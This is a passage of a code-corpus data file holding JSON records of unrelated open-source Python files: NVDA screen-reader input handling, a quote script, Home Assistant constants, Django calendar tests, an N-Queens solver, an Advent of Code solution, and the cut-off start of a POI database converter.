[gesture.displayName]\r\n\t\tscript = gesture.script\r\n\t\trunScript = False\r\n\t\tlogMsg = \"Input help: gesture %s\"%gesture.identifiers[0]\r\n\t\tif script:\r\n\t\t\tscriptName = scriptHandler.getScriptName(script)\r\n\t\t\tlogMsg+=\", bound to script %s\" % scriptName\r\n\t\t\tscriptLocation = scriptHandler.getScriptLocation(script)\r\n\t\t\tif scriptLocation:\r\n\t\t\t\tlogMsg += \" on %s\" % scriptLocation\r\n\t\t\tif scriptName == \"toggleInputHelp\":\r\n\t\t\t\trunScript = True\r\n\t\t\telse:\r\n\t\t\t\tdesc = script.__doc__\r\n\t\t\t\tif desc:\r\n\t\t\t\t\ttextList.append(desc)\r\n\r\n\t\tlog.info(logMsg)\r\n\t\tif onlyLog:\r\n\t\t\treturn\r\n\r\n\t\timport braille\r\n\t\tbraille.handler.message(\"\\t\\t\".join(textList))\r\n\t\t# Punctuation must be spoken for the gesture name (the first chunk) so that punctuation keys are spoken.\r\n\t\tspeech.speakText(\r\n\t\t\ttextList[0],\r\n\t\t\treason=controlTypes.OutputReason.MESSAGE,\r\n\t\t\tsymbolLevel=characterProcessing.SymbolLevel.ALL\r\n\t\t)\r\n\t\tfor text in textList[1:]:\r\n\t\t\tspeech.speakMessage(text)\r\n\r\n\t\tif runScript:\r\n\t\t\tscript(gesture)\r\n\r\n\tdef loadUserGestureMap(self):\r\n\t\tself.userGestureMap.clear()\r\n\t\ttry:\r\n\t\t\tself.userGestureMap.load(WritePaths.gesturesConfigFile)\r\n\t\texcept IOError:\r\n\t\t\tlog.debugWarning(\"No user gesture map\")\r\n\r\n\tdef loadLocaleGestureMap(self):\r\n\t\tself.localeGestureMap.clear()\r\n\t\tlang = languageHandler.getLanguage()\r\n\t\ttry:\r\n\t\t\tself.localeGestureMap.load(os.path.join(globalVars.appDir, \"locale\", lang, \"gestures.ini\"))\r\n\t\texcept IOError:\r\n\t\t\ttry:\r\n\t\t\t\tself.localeGestureMap.load(os.path.join(globalVars.appDir, \"locale\", lang.split('_')[0], \"gestures.ini\"))\r\n\t\t\texcept IOError:\r\n\t\t\t\tlog.debugWarning(\"No locale gesture map for language %s\" % lang)\r\n\r\n\tdef emulateGesture(self, gesture):\r\n\t\t\"\"\"Convenience method to emulate a gesture.\r\n\t\tFirst, an attempt will be made to execute the gesture using L{executeGesture}.\r\n\t\tIf that fails, the gesture will be sent to the operating system if possible using L{InputGesture.send}.\r\n\t\t@param gesture: The gesture to execute.\r\n\t\t@type gesture: L{InputGesture}\r\n\t\t\"\"\"\r\n\t\ttry:\r\n\t\t\treturn self.executeGesture(gesture)\r\n\t\texcept NoInputGestureAction:\r\n\t\t\tpass\r\n\t\ttry:\r\n\t\t\tgesture.send()\r\n\t\texcept NotImplementedError:\r\n\t\t\tpass\r\n\r\n\tdef getAllGestureMappings(self, obj=None, ancestors=None):\r\n\t\tif not obj:\r\n\t\t\tobj = api.getFocusObject()\r\n\t\t\tancestors = api.getFocusAncestors()\r\n\t\treturn _AllGestureMappingsRetriever(obj, ancestors).results\r\n\r\nclass _AllGestureMappingsRetriever(object):\r\n\r\n\tresults: Dict[\r\n\t\tstr,  # category name\r\n\t\tDict[\r\n\t\t\tstr,  # command display name\r\n\t\t\tAny,  # AllGesturesScriptInfo\r\n\t\t]\r\n\t]\r\n\r\n\tdef __init__(self, obj, ancestors):\r\n\t\tself.results = {}\r\n\t\tself.scriptInfo = {}\r\n\t\tself.handledGestures = set()\r\n\r\n\t\tself.addGlobalMap(manager.userGestureMap)\r\n\t\tself.addGlobalMap(manager.localeGestureMap)\r\n\t\timport braille\r\n\t\tgmap = braille.handler.display.gestureMap if braille.handler and braille.handler.display else None\r\n\t\tif gmap:\r\n\t\t\tself.addGlobalMap(gmap)\r\n\r\n\t\t# Global plugins.\r\n\t\timport globalPluginHandler\r\n\t\tfor plugin in globalPluginHandler.runningPlugins:\r\n\t\t\tself.addObj(plugin)\r\n\r\n\t\t# App module.\r\n\t\tapp = obj.appModule\r\n\t\tif app:\r\n\t\t\tself.addObj(app)\r\n\r\n\t\t# Braille display driver\r\n\t\tif isinstance(braille.handler.display, baseObject.ScriptableObject):\r\n\t\t\tself.addObj(braille.handler.display)\r\n\r\n\t\t# Vision enhancement provider\r\n\t\timport vision\r\n\t\tfor provider in vision.handler.getActiveProviderInstances():\r\n\t\t\tif isinstance(provider, baseObject.ScriptableObject):\r\n\t\t\t\tself.addObj(provider)\r\n\r\n\t\t# Tree interceptor.\r\n\t\tti = obj.treeInterceptor\r\n\t\tif ti:\r\n\t\t\tself.addObj(ti)\r\n\r\n\t\t# NVDAObject.\r\n\t\tself.addObj(obj)\r\n\t\tfor anc in reversed(ancestors):\r\n\t\t\tself.addObj(anc, isAncestor=True)\r\n\r\n\t\timport globalCommands\r\n\t\t# Configuration profiles\r\n\t\tself.addObj(globalCommands.configProfileActivationCommands)\r\n\r\n\t\t# Global commands.\r\n\t\tself.addObj(globalCommands.commands)\r\n\r\n\tdef addResult(self, scriptInfo):\r\n\t\t\"\"\"\r\n\t\t@type scriptInfo: AllGesturesScriptInfo\r\n\t\t\"\"\"\r\n\t\tself.scriptInfo[scriptInfo.cls, scriptInfo.scriptName] = scriptInfo\r\n\t\ttry:\r\n\t\t\tcat = self.results[scriptInfo.category]\r\n\t\texcept KeyError:\r\n\t\t\tcat = self.results[scriptInfo.category] = {}\r\n\t\tcat[scriptInfo.displayName] = scriptInfo\r\n\r\n\tdef addGlobalMap(self, gmap):\r\n\t\tfor cls, gesture, scriptName in gmap.getScriptsForAllGestures():\r\n\t\t\tkey = (cls, gesture)\r\n\t\t\tif key in self.handledGestures:\r\n\t\t\t\tcontinue\r\n\t\t\tself.handledGestures.add(key)\r\n\t\t\tif scriptName is None:\r\n\t\t\t\t# The global map specified that no script should execute for this gesture and object.\r\n\t\t\t\tcontinue\r\n\t\t\ttry:\r\n\t\t\t\tscriptInfo = self.scriptInfo[cls, scriptName]\r\n\t\t\texcept KeyError:\r\n\t\t\t\tif scriptName.startswith(\"kb:\"):\r\n\t\t\t\t\tscriptInfo = self.makeKbEmuScriptInfo(cls, kbGestureIdentifier=scriptName)\r\n\t\t\t\telse:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tscript = getattr(cls, \"script_%s\" % scriptName)\r\n\t\t\t\t\texcept AttributeError:\r\n\t\t\t\t\t\tlog.debugWarning(f\"Unable to bind gesture: script '{scriptName}' not found in class {cls}.\")\r\n\t\t\t\t\t\tself.handledGestures.remove(key)\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\tscriptInfo = self.makeNormalScriptInfo(cls, scriptName, script)\r\n\t\t\t\t\tif not scriptInfo:\r\n\t\t\t\t\t\t# Scripts with no description are not displayed in the Input gesture dialog.\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\tself.addResult(scriptInfo)\r\n\t\t\tscriptInfo.gestures.append(gesture)\r\n\r\n\t@classmethod\r\n\tdef makeKbEmuScriptInfo(cls, scriptCls, kbGestureIdentifier):\r\n\t\t\"\"\"\r\n\t\t@rtype AllGesturesScriptInfo\r\n\t\t\"\"\"\r\n\t\tinfo = KbEmuScriptInfo(scriptCls, kbGestureIdentifier)\r\n\t\tinfo.category = SCRCAT_KBEMU\r\n\t\tinfo.displayName = getDisplayTextForGestureIdentifier(\r\n\t\t\tnormalizeGestureIdentifier(kbGestureIdentifier)\r\n\t\t)[1]\r\n\t\treturn info\r\n\r\n\t@classmethod\r\n\tdef makeNormalScriptInfo(cls, scriptCls, scriptName, script):\r\n\t\tinfo = AllGesturesScriptInfo(scriptCls, scriptName)\r\n\t\tinfo.category = cls.getScriptCategory(scriptCls, script)\r\n\t\tinfo.displayName = script.__doc__\r\n\t\tif not info.displayName:\r\n\t\t\treturn None\r\n\t\treturn info\r\n\r\n\t@classmethod\r\n\tdef getScriptCategory(cls, scriptCls, script):\r\n\t\ttry:\r\n\t\t\treturn script.category\r\n\t\texcept AttributeError:\r\n\t\t\tpass\r\n\t\ttry:\r\n\t\t\treturn scriptCls.scriptCategory\r\n\t\texcept AttributeError:\r\n\t\t\tpass\r\n\t\treturn SCRCAT_MISC\r\n\r\n\tdef addObj(self, obj, isAncestor=False):\r\n\t\tscripts = {}\r\n\t\tfor cls in obj.__class__.__mro__:\r\n\t\t\tfor scriptName, script in cls.__dict__.items():\r\n\t\t\t\tif not scriptName.startswith(\"script_\"):\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tif isAncestor and not getattr(script, \"canPropagate\", False):\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tscriptName = scriptName[7:]\r\n\t\t\t\ttry:\r\n\t\t\t\t\tscriptInfo = self.scriptInfo[cls, scriptName]\r\n\t\t\t\texcept KeyError:\r\n\t\t\t\t\tscriptInfo = self.makeNormalScriptInfo(cls, scriptName, script)\r\n\t\t\t\t\tif not scriptInfo:\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\tself.addResult(scriptInfo)\r\n\t\t\t\tscripts[script] = scriptInfo\r\n\t\tfor gesture, script in obj._gestureMap.items():\r\n\t\t\ttry:\r\n\t\t\t\tscriptInfo = scripts[script]\r\n\t\t\texcept KeyError:\r\n\t\t\t\tcontinue\r\n\t\t\tkey = (scriptInfo.cls, gesture)\r\n\t\t\tif key in self.handledGestures:\r\n\t\t\t\tcontinue\r\n\t\t\tself.handledGestures.add(key)\r\n\t\t\tscriptInfo.gestures.append(gesture)\r\n\r\nclass AllGesturesScriptInfo(object):\r\n\t__slots__ = (\"cls\", \"scriptName\", \"category\", \"displayName\", \"gestures\")\r\n\r\n\tdef __init__(self, cls, scriptName):\r\n\t\tself.cls = cls\r\n\t\tself.scriptName = scriptName\r\n\t\tself.gestures = []\r\n\r\n\t@property\r\n\tdef moduleName(self):\r\n\t\treturn self.cls.__module__\r\n\r\n\t@property\r\n\tdef className(self):\r\n\t\treturn self.cls.__name__\r\n\r\n\r\nclass KbEmuScriptInfo(AllGesturesScriptInfo):\r\n\tpass\r\n\r\n\r\ndef normalizeGestureIdentifier(identifier):\r\n\t\"\"\"Normalize a gesture identifier so that it matches other identifiers for the same gesture.\r\n\tFirst, the entire identifier is converted to lower case.\r\n\tThen, any items separated by a + sign after the source prefix are considered to be of indeterminate order\r\n\tand are sorted by character.\r\n\tThis is done because, for example, \"kb:shift+alt+downArrow\"\r\n\tmust be treated the same as \"kb:alt+shift+downarrow\".\r\n\t\"\"\"\r\n\tidentifier = identifier.lower()\r\n\tprefix, main = identifier.split(\":\", 1)\r\n\tmain = main.split(\"+\")\r\n\t# The order of the parts doesn't matter as far as the user is concerned,\r\n\t# but we need them to be in a determinate order so they will match other gesture identifiers.\r\n\t# We sort them by character.\r\n\tmain.sort()\r\n\tmain = \"+\".join(main)\r\n\treturn u\"{0}:{1}\".format(prefix, main)\r\n\r\n#: Maps registered source prefix strings to L{InputGesture} classes.\r\ngestureSources = weakref.WeakValueDictionary()\r\n\r\ndef registerGestureSource(source, gestureCls):\r\n\t\"\"\"Register an input gesture class for a source prefix string.\r\n\tThe specified gesture class will be used for queries regarding all gesture identifiers with the given source prefix.\r\n\tFor example, if \"kb\" is registered with the C{KeyboardInputGesture} class,\r\n\tany queries for \"kb:tab\" or \"kb(desktop):tab\" will be directed to the C{KeyboardInputGesture} class.\r\n\tIf there is no exact match for the source, any parenthesized portion is stripped.\r\n\tFor example, for \"br(baum):d1\", if \"br(baum)\" isn't registered,\r\n\t\"br\" will be used if it is registered.\r\n\tThis registration is used, for example, to get the display text for a gesture identifier.\r\n\t@param source: The source prefix for associated gesture identifiers.\r\n\t@type source: str\r\n\t@param gestureCls: The input gesture class.\r\n\t@type gestureCls: L{InputGesture}\r\n\t\"\"\"\r\n\tgestureSources[source] = gestureCls\r\n\r\ndef _getGestureClsForIdentifier(identifier):\r\n\t\"\"\"Get the registered gesture class for an identifier.\r\n\t\"\"\"\r\n\tsource = identifier.split(\":\", 1)[0]\r\n\ttry:\r\n\t\treturn gestureSources[source]\r\n\texcept KeyError:\r\n\t\tpass\r\n\tgenSource = source.split(\"(\", 1)[0]\r\n\tif genSource:\r\n\t\ttry:\r\n\t\t\treturn gestureSources[genSource]\r\n\t\texcept KeyError:\r\n\t\t\tpass\r\n\traise LookupError(\"Gesture source not registered: %s\" % source)\r\n\r\ndef getDisplayTextForGestureIdentifier(identifier):\r\n\t\"\"\"Get the text to be presented to the user describing a given gesture identifier.\r\n\tThe display text consists of two strings:\r\n\tthe gesture's source (e.g. \"laptop keyboard\")\r\n\tand the specific gesture (e.g. \"alt+tab\").\r\n\t@param identifier: The normalized gesture identifier in question.\r\n\t@type identifier: str\r\n\t@return: A tuple of (source, specificGesture).\r\n\t@rtype: tuple of (str, str)\r\n\t@raise LookupError: If no display text can be determined.\r\n\t\"\"\"\r\n\tgcls = _getGestureClsForIdentifier(identifier)\r\n\ttry:\r\n\t\treturn gcls.getDisplayTextForIdentifier(identifier)\r\n\texcept:\r\n\t\traise\r\n\t\traise LookupError(\"Couldn't get display text for identifier: %s\" % identifier)\r\n\r\n\r\n#: The singleton input manager instance.\r\nmanager: Optional[InputManager] = None\r\n\r\n\r\ndef initialize():\r\n\t\"\"\"Initializes input core, creating a global L{InputManager} singleton.\r\n\t\"\"\"\r\n\tglobal manager\r\n\tmanager=InputManager()\r\n\r\ndef terminate():\r\n\t\"\"\"Terminates input core.\r\n\t\"\"\"\r\n\tglobal manager\r\n\tmanager=None\r\n\r\ndef  logTimeSinceInput():\r\n\t\"\"\"Log the time since the last input was received.\r\n\tThis does nothing if time since input logging is disabled.\r\n\t\"\"\"\r\n\tif (not log.isEnabledFor(log.IO)\r\n\t\tor not config.conf[\"debugLog\"][\"timeSinceInput\"]\r\n\t\tor not manager or not manager._lastInputTime\r\n\t):\r\n\t\treturn\r\n\tlog.io(\"%.3f sec since input\" % (time.time() - manager._lastInputTime))\r\n","repo_name":"nvaccess/nvda","sub_path":"source/inputCore.py","file_name":"inputCore.py","file_ext":"py","file_size_in_byte":33201,"program_lang":"python","lang":"en","doc_type":"code","stars":1802,"dataset":"github-code","pt":"18"}
{"seq_id":"15778924341","text":"import random\ndef important():\n   #print(\"Keep it logically awesome.\")\n\n  f = open(\"quotes.txt\")\n  quotes = f.readlines()\n  f.close()\n\n  last = 13\n  rnd = random.randint(0, last)\n  print(\"{0} {1} {2}\".format(quotes[rnd],quotes[random.randint(0,last)],quotes[random.randint(0,last)]).replace(\"\\n\",\"\"))\n\ndef addquote():\n\t# Open the file in append mode(add items)\n\tf = open(\"quotes.txt\",\"a\")\n\t# ASk user for a new input\n\tquote = input(\"Enter a new quote:\\n\")\n\t# write to file\n\tf.write(quote+\"\\n\")\n\t# Make changes\n\tf.flush()\n\t#close the file\n\tf.close()\n\n\nif __name__== \"__main__\":\n\t# input is always a string cast it to int\n\t\n\tchoice = int(input(\"Choose an option:\\n1.Print random Qoute\\n2.Add quote\\n\"))\n\tif  choice == 1:\n\t\timportant()\n\telif choice == 2:\n\t\taddquote()","repo_name":"okoth-lydia/python-random-quote","sub_path":"get-quote.py","file_name":"get-quote.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8377440450","text":"\"\"\"Constants for Google Assistant.\"\"\"\nDOMAIN = 'google_assistant'\n\nGOOGLE_ASSISTANT_API_ENDPOINT = '/api/google_assistant'\n\nATTR_GOOGLE_ASSISTANT = 'google_assistant'\nATTR_GOOGLE_ASSISTANT_NAME = 'google_assistant_name'\nATTR_GOOGLE_ASSISTANT_TYPE = 'google_assistant_type'\n\nCONF_EXPOSE_BY_DEFAULT = 'expose_by_default'\nCONF_EXPOSED_DOMAINS = 'exposed_domains'\nCONF_PROJECT_ID = 'project_id'\nCONF_ACCESS_TOKEN = 'access_token'\nCONF_CLIENT_ID = 'client_id'\nCONF_ALIASES = 'aliases'\nCONF_AGENT_USER_ID = 'agent_user_id'\nCONF_API_KEY = 'api_key'\n\nDEFAULT_EXPOSE_BY_DEFAULT = True\nDEFAULT_EXPOSED_DOMAINS = [\n    'switch', 'light', 'group', 'media_player', 'fan', 'cover', 'climate'\n]\nCLIMATE_SUPPORTED_MODES = {'heat', 'cool', 'off', 'on', 'heatcool'}\n\nPREFIX_TRAITS = 'action.devices.traits.'\nTRAIT_ONOFF = PREFIX_TRAITS + 'OnOff'\nTRAIT_BRIGHTNESS = PREFIX_TRAITS + 'Brightness'\nTRAIT_RGB_COLOR = PREFIX_TRAITS + 'ColorSpectrum'\nTRAIT_COLOR_TEMP = PREFIX_TRAITS + 'ColorTemperature'\nTRAIT_SCENE = PREFIX_TRAITS + 'Scene'\nTRAIT_TEMPERATURE_SETTING = PREFIX_TRAITS + 'TemperatureSetting'\n\nPREFIX_COMMANDS = 'action.devices.commands.'\nCOMMAND_ONOFF = PREFIX_COMMANDS + 'OnOff'\nCOMMAND_BRIGHTNESS = PREFIX_COMMANDS + 'BrightnessAbsolute'\nCOMMAND_COLOR = PREFIX_COMMANDS + 'ColorAbsolute'\nCOMMAND_ACTIVATESCENE = PREFIX_COMMANDS + 'ActivateScene'\nCOMMAND_THERMOSTAT_TEMPERATURE_SETPOINT = (\n    PREFIX_COMMANDS + 'ThermostatTemperatureSetpoint')\nCOMMAND_THERMOSTAT_TEMPERATURE_SET_RANGE = (\n    PREFIX_COMMANDS + 'ThermostatTemperatureSetRange')\nCOMMAND_THERMOSTAT_SET_MODE = PREFIX_COMMANDS + 'ThermostatSetMode'\n\nPREFIX_TYPES = 'action.devices.types.'\nTYPE_LIGHT = PREFIX_TYPES + 'LIGHT'\nTYPE_SWITCH = PREFIX_TYPES + 'SWITCH'\nTYPE_SCENE = PREFIX_TYPES + 'SCENE'\nTYPE_THERMOSTAT = PREFIX_TYPES + 'THERMOSTAT'\n\nSERVICE_REQUEST_SYNC = 'request_sync'\nHOMEGRAPH_URL = 'https://homegraph.googleapis.com/'\nREQUEST_SYNC_BASE_URL = HOMEGRAPH_URL + 'v1/devices:requestSync'\n","repo_name":"ClaytonBrezinski/Docker-WindowsHomeAssistant","sub_path":"homeassistant/components/google_assistant/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"2572337057","text":"import datetime\n\nfrom django.test import TestCase\nfrom django.core.exceptions import ValidationError\n\nfrom web.models import Calendar, Client, Event, Owner\n\nTEST_ID_NUMBER = \"12345678\"\nTEST_DAY = datetime.date.today()\nTEST_START_TIME = datetime.time(00, 00, 00)\nTEST_END_TIME = datetime.time(00, 30, 00)\n\n\nclass TestClient(TestCase):\n    \"\"\"\n    This class implements all the unit tests for the Client Model Class\n    \"\"\"\n    pass\n\n\nclass TestOwner(TestCase):\n    \"\"\"\n    This class implements all the unit tests for the Owner Model Class\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        The setUp creates a test Owner and a test Client.\n        \"\"\"\n        self.client = Client.objects.create(\n            email=\"test@test.com\",\n            password=\"testPass\",\n            first_name=\"test\",\n            last_name=\"test\",\n            identity_number=TEST_ID_NUMBER)\n        self.owner = Owner.objects.create(\n            email=\"test@test.com\",\n            first_name=\"test\",\n            last_name=\"test\",\n            identity_number=TEST_ID_NUMBER,\n            password=\"test\",)\n\n    def tearDown(self):\n        \"\"\"\n        The tearDown deletes the test Owner and test Client.\n        \"\"\"\n        self.client.delete()\n        self.owner.delete()\n\n    def test_add_client(self):\n        \"\"\"\n        This test adds the test client to the test owner\n        \"\"\"\n        self.owner.add_client(self.client)\n        self.assertGreater(self.owner.clients.count(), 0,\n                           msg=\"Client was not added\")\n\n    def test_delete_client(self):\n        \"\"\"\n        This test delete the test client from the test owner using the client\n        identity number\n        \"\"\"\n        self.owner.delete_client(TEST_ID_NUMBER)\n        self.assertEqual(self.owner.clients.count(), 0,\n                         msg=\"Client was not deleted\")\n\n\nclass TestCalendar(TestCase):\n    \"\"\"\n    This class implements all the unit tests for the Calendar Model Class\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        The setUp creates a test Calendar, a test Owner and a test Client.\n        \"\"\"\n        self.owner = Owner.objects.create(\n            email=\"test@test.com\",\n            password=\"test\",\n            first_name=\"test\",\n            last_name=\"test\",\n            identity_number=TEST_ID_NUMBER)\n        self.calendar = Calendar.objects.create(\n            summary=\"test calendar\",\n            owner=self.owner)\n        self.client = Client.objects.create(\n            email=\"test@test.com\",\n            password=\"testPass\",\n            first_name=\"test\",\n            last_name=\"test\",\n            identity_number=TEST_ID_NUMBER)\n\n    def tearDown(self):\n        \"\"\"\n        The tearDown deletes the test Owner and test Calendar.\n        \"\"\"\n        self.owner.delete()\n        self.client.delete()\n\n    def test_create_event(self):\n        \"\"\"\n        This test creates a new event.\n        \"\"\"\n        self.calendar.create_event(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            location='test')\n\n        self.assertEqual(Event.objects.filter(calendar=self.calendar).count(),\n                         1, msg=\"Event was not created\")\n\n    def test_create_event_start_after_end(self):\n        \"\"\"\n        This test creates a new event with start_time > end_tine and\n        assert exception is raised\n        \"\"\"\n        with self.assertRaises(ValidationError,\n                               msg=\"start/end time error not detected\"):\n            self.calendar.create_event(\n                day=TEST_DAY,\n                start_time=TEST_END_TIME,\n                end_time=TEST_START_TIME,\n                location='test')\n\n    def test_create_event_overlap(self):\n        \"\"\"\n        Try to create an overlaping event. Assert exception is raised.\n        \"\"\"\n        Event.objects.create(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            calendar=self.calendar)\n        with self.assertRaises(ValidationError,\n                               msg=\"Overlap was not detected\"):\n            self.calendar.create_event(\n                day=TEST_DAY,\n                start_time=TEST_START_TIME,\n                end_time=TEST_END_TIME,\n                location='test')\n\n    def test_delete_event(self):\n        \"\"\"\n        This test deletes an event.\n        \"\"\"\n        Event.objects.create(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            calendar=self.calendar)\n\n        self.calendar.delete_event(day=TEST_DAY, start_time=TEST_START_TIME,\n                                   end_time=TEST_END_TIME)\n        self.assertEqual(Event.objects.filter(calendar=self.calendar).count(),\n                         0, msg='Failed to delete event')\n\n    def test_get_events(self):\n        \"\"\"\n        This test get the events from the test Calendar.\n        \"\"\"\n        event = Event.objects.create(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            calendar=self.calendar)\n\n        self.assertEqual(\n            event,\n            self.calendar.get_events(day=TEST_DAY)[0],\n            msg='Events werent fetched correctly')\n\n    def test_assign_event(self):\n        \"\"\"\n        This test assigns a test Event to the test Client.\n        \"\"\"\n        event = Event.objects.create(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            calendar=self.calendar)\n        self.calendar.assign_event(self.client.identity_number, event.day,\n                                   event.start_time, event.end_time)\n        self.assertEqual(event, Event.objects.get(client=self.client),\n                         msg=\"Event was not assigned\")\n\n    def test_assign_event_already_assigned(self):\n        \"\"\"\n        This test assigns a test Client to an already assigned event and\n        asserts an exception is raised.\n        \"\"\"\n        event = Event.objects.create(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            calendar=self.calendar,\n            free=False)\n        with self.assertRaises(ValidationError,\n                               msg='An event cannot be assigned twice'):\n            self.calendar.assign_event(self.client.identity_number, event.day,\n                                       event.start_time, event.end_time)\n\n    def test_free_event(self):\n        \"\"\"\n        This test frees an event.\n        \"\"\"\n        event = Event.objects.create(\n            day=TEST_DAY,\n            start_time=TEST_START_TIME,\n            end_time=TEST_END_TIME,\n            calendar=self.calendar,\n            free=False,\n            client=self.client)\n        self.calendar.free_event(day=event.day, start_time=event.start_time,\n                                 end_time=event.end_time)\n        msg = 'Event was not freed correctly'\n        event.refresh_from_db()\n        self.assertEqual(event.free, True, msg=msg)\n        self.assertEqual(event.client, None, msg=msg)\n","repo_name":"Minfante377/assistant-web-app","sub_path":"test/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":7130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16052414040","text":"\"\"\"\n\"\"\"\n\ndef dfs(n):\n    global ans\n    if n == N: # N 행까지 진행한 경우 -> 성공!\n        ans += 1 \n        return\n    for j in range(N):\n        if arr[j] == arr2[n+j] == arr3[n-j] == 0: # 열/ 대각선 모두 Queen 없음\n            arr[j] = arr2[n+j] = arr3[n-j] = 1\n            dfs(n+1)\n            arr[j] = arr2[n+j] = arr3[n-j] = 0\n\nN = int(input()) # N개의 퀸\narr = [0] * N # 각 행이 어느 열에서 선택되었는지 저장될 리스트\narr2 = [0] *(2*N) # 오른쪽 위 대각선 선택되었는지 저장될 리스트\narr3 = [0] *(2*N) # 왼쪽 위 대각선 선택되었는지 저장될 리스트\nans = 0\ndfs(0)\nprint(ans)","repo_name":"MalangCowFarm/Algo_Yejin","sub_path":"week07/9663_Nqueen.py","file_name":"9663_Nqueen.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17803265005","text":"from typing import Sequence\n\n\ndef sonar_sweep_part_2(measurements: Sequence[int]) -> int:\n    if len(measurements) < 4:\n        return 0\n\n    num_of_depth_window_increases = 0\n\n    for i in range(len(measurements) - 3):\n        current_sum = measurements[i] + measurements[i + 1] + measurements[i + 2]\n        next_sum = measurements[i + 1] + measurements[i + 2] + measurements[i + 3]\n\n        if next_sum > current_sum:\n            num_of_depth_window_increases += 1\n\n    return num_of_depth_window_increases\n\n\ndef main() -> None:\n    with open(file=\"depth_measurements.txt\", mode=\"r\", encoding=\"utf-8\") as f:\n        measurements = list(map(int, f.read().split()))\n    print(sonar_sweep_part_2(measurements=measurements))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"JinLisek/advent-of-code","sub_path":"year_2021/day_1/sonar_sweep_part_2.py","file_name":"sonar_sweep_part_2.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16396481009","text":"import os\nimport sys\nimport re\nimport logging\nimport optparse\nimport xml.dom.minidom\nimport sqlite3\nimport html.entities\nimport csv\n\nfrom tiler_functions import *\n\ndef re_subs(sub_list,l):\n    for (pattern,repl) in sub_list:\n        l=re.sub(pattern,repl,l)\n    return l\n\nhtml.entities.name2codepoint['apos']=27\n\ndef strip_html(text):\n    'Removes HTML markup from a text string. http://effbot.org/zone/re-sub.htm#strip-html'\n    \n    def replace(match): # pattern replacement function\n        text = match.group(0)\n        if text == \"<br>\":\n            return \"\\n\"\n        if text[0] == \"<\":\n            return \"\" # ignore tags\n        if text[0] == \"&\":\n            if text[1] == \"#\":\n                try:\n                    if text[2] == \"x\":\n                        return chr(int(text[3:-1], 16))\n                    else:\n                        return chr(int(text[2:-1]))\n                except ValueError:\n                    pass\n            else:\n                return chr(html.entities.name2codepoint[text[1:-1]])\n        return text # leave as is\n        # fixup end\n\n    return re.sub(\"(?s)<[^>]*>|&#?\\w+;\", replace, text)\n\ndef attr_update(self,**updates):\n        self.__dict__.update(updates)\n\nclass Category(object):\n    def __init__(self,label):\n        attr_update(self,label=label,enabled=1,desc='',cat_id=None,icons={})\n\n    def update(self,enabled=None,desc=None,cat_id=None,icon=None, url=None):\n        if icon:\n            self.icons[icon]=url\n        if desc:\n            self.desc=desc\n        if cat_id:\n            self.cat_id=cat_id\n        if enabled is not None:\n            self.enabled= 1 if enabled else 0;\n\nclass Poi(object):\n    def __init__(self,label=None,lat=None,lon=None,desc='',categ=None):\n        if desc is None:\n            desc=''\n        attr_update(self,label=label,desc=desc,lat=lat,lon=lon,categ=categ.lower())\n\nclass Poi2Mapper(object):\n    def __init__ (self,src,dest_db):\n        attr_update(self,src=src,categories={},styles={},icons={},pois=[])\n        if dest_db:\n            self.base=os.path.splitext(dest_db)[0]\n            self.dest_db=dest_db\n        else:\n            self.base=os.path.splitext(src[0])[0]\n            self.dest_db=self.base+'.db'\n        if os.path.exists(self.dest_db):\n            if options.remove_dest:\n                os.remove(self.dest_db)\n            else:\n                raise Exception('Destination already exists: %s' % self.dest_db)\n\n    def categ_add_update(self,label=None,enabled=1,desc=None,cat_id=None,icon=None, url=None):\n        if not icon:\n            icon=label+'.jpg'\n        if not label:\n            label=re.sub(r'\\.[^.]*$','',icon)\n        categ=label.lower()\n        ic_id=icon.lower()\n        if ic_id not in self.icons:\n            self.icons[ic_id]=categ\n        else:\n            categ=self.icons[ic_id]\n        if categ not in self.categories:\n            self.categories[categ]=Category(label)\n        self.categories[categ].update(enabled=enabled,desc=desc,cat_id=cat_id,icon=icon, url=url)\n        return categ\n\n    def load_categ(self,src):\n        path=os.path.splitext(src)[0] + '.categories'\n        if os.path.exists(path):\n            cats_lst=[[str(i.strip(),'utf-8') for i in l.split(',',4)] \n                        for l in open(path)]\n            for d in cats_lst:\n                try:\n                    (enabled,icon,categ,desc) = d + [None for i in range(len(d),4)]\n                    ld(enabled,icon,categ,desc)\n                    if enabled not in ('0','1') or not categ:\n                        continue\n                    self.categ_add_update(categ,int(enabled),icon=icon,desc=desc)\n                except: pass\n\n    def read_db(self,path):\n        cat_ids={}\n        if os.path.exists(path):\n            db=sqlite3.connect(path)\n            dbc=db.cursor()\n            dbc.execute('select * from category')\n            for (cat_id,label,desc,enabled) in dbc:\n                self.categ_add_update(label,enabled,desc=desc)\n                cat_ids[cat_id]=label\n\n            dbc.execute('select * from poi')\n            for 